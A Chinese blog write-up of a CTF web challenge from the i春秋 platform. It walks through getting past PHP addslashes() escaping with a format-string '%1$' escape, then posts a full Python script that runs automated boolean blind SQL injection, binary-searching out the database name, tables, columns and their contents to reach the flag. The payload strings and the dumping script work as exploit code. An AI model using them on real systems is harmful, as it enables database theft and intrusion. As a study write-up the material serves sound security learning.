CTF-i春秋-Web-二分法布尔盲注、sqli格式化字符串逃逸漏洞-SQLi-“迎圣诞,拿大奖”活动赛题

2020.09.21

经验教训

  1. sql语句被格式化了就无敌了??不存在的,世界上存在一种漏洞叫做格式化字符逃逸漏洞🤓
  2. burpsuit的intruder,可以用来测试那些字母或者字符没有被过滤掉

SQLi

https://www.ichunqiu.com/battalion

  1. 打开页面,俩输入框,随便试账号密码登录失败,返回username error
  2. 测试admin admin,提示密码错误,说明存在admin这个用户名,也就是说他是先检索admin,又检索的密码;
  3. 接下来进行测试
    • username=admin'&password=hehe,名字错
    • username=admin' %23&password=hehe,名字错,admin应不存在注入
    • username=admin&password[]=hehe'OR'1'='1'%23,报错。可以看到有一个addslashes()方法,在单引号、双引号、反斜杠、NULL前边加反斜杠,这样单引号就给过滤了
    • 那么我们就先到一个我看wp之前闻所未闻的漏洞--sqli格式化字符串逃逸漏洞,看完之后真是耳目一新,太爽了,详见大佬帖子,看完之后我的理解就是,上一步我们不是发现单引号前边被加了反斜杠,而这个漏洞,就可以把这个反斜杠给吃掉,哈哈哈,好的,🤓试着测试一下
    • 猜测他的代码是这样的
username = addslashes($_POST['username']) // 假如输入 admin ' OR 1=1#变成admin\' OR 1=1#
sqlStr ="SELECT * FROM database.table WHERE username ='%s'"
sqlStr = sqlStr.format(sqlStr,username)
// sqlStr ="SELECT * FROM database.table WHERE username ='admin\' OR 1=1#'  ",这样缺少右侧单引号,添加%的话变成
// sqlStr ="SELECT * FROM database.table WHERE username ='admin%\' OR 1=1#'  "这样的话如果再format一次,就成功把 %\ 给去掉了,但是连接之后就没有format了
// 我想不明白为什么 admin%1$\' OR 1=1# 就能出结果,不过既然知道啦这种写法,并且这个题,主要是sql注入吧,搞一个脚本试试注入
  1. 终于,他来了,全自动布尔盲注,可移植性贼强💃
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName  : decry.py
#createTime: 2020/09/21 21:16:24
#author    : 乔悟空
#purpose   : 此脚本用于盲布尔注
import requests

url = "http://32b688180d5549058430d50caafab50e996fe14822ff44a6.changame.ichunqiu.com/"
session = requests.session()

def getInfoLength(info):
    res = 0
    for i in range(50):
        data = {
            'username': "admin%1$'and (LENGTH({})={})=1#".format(info,i),
            'password': "admin"
        }
        if 'username error' not in session.post(url,data=data).text:
            res = i
            break
    return res

def getInfo(info,infoLength):
    res = ''
    for i in range(infoLength):
        start = 0
        end = 128
        for j in range(20):
            mid = (start+end)//2
            data = {
                'username': "admin%1$' and (ascii(substr({},{},1)) > {} )=1#".format(info,i+1,mid),
                'password': "admin"
            }
            if 'username error' not in session.post(url,data=data).text: # 说明返回true
                if end-start==2:
                    res += chr(end)
                    break
                else:
                    start = mid
            else:
                if end-start==2:
                    res += chr(mid)
                    break
                else:
                    end = mid
    return res
dbStr = "database()"
dbLength = getInfoLength(dbStr)
dbName = getInfo(dbStr,dbLength)
print('数据库名:'+dbName)
allTableStr = "(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=%1$'{}%1$')".format(dbName)
allTableLength = getInfoLength(allTableStr)
tableNameList = getInfo(allTableStr,allTableLength).split(',')
print('数据库中表名:'+str(tableNameList))
for i in range(len(tableNameList)):
    columnStr = "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=%1$'{}%1$')".format(tableNameList[i])
    columnLength = getInfoLength(columnStr)
    columnNameList = getInfo(columnStr,columnLength).split(',')
    print('表'+tableNameList[i]+'中列名:'+str(columnNameList))
    for j in range(len(columnNameList)):
        detailStr = "(SELECT GROUP_CONCAT({}) FROM {})".format(columnNameList[j],tableNameList[i])
        detailLength = getInfoLength(detailStr)
        detailList = getInfo(detailStr,detailLength).split(',')
        print('表'+tableNameList[i]+'中,列'+columnNameList[j]+'中的数据有:'+str(detailList))
  1. 用以上脚本跑的结果如下,得到flagflag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
posted @ 2020-09-22 00:24  乔悟空  阅读(493)  评论(0编辑  收藏  举报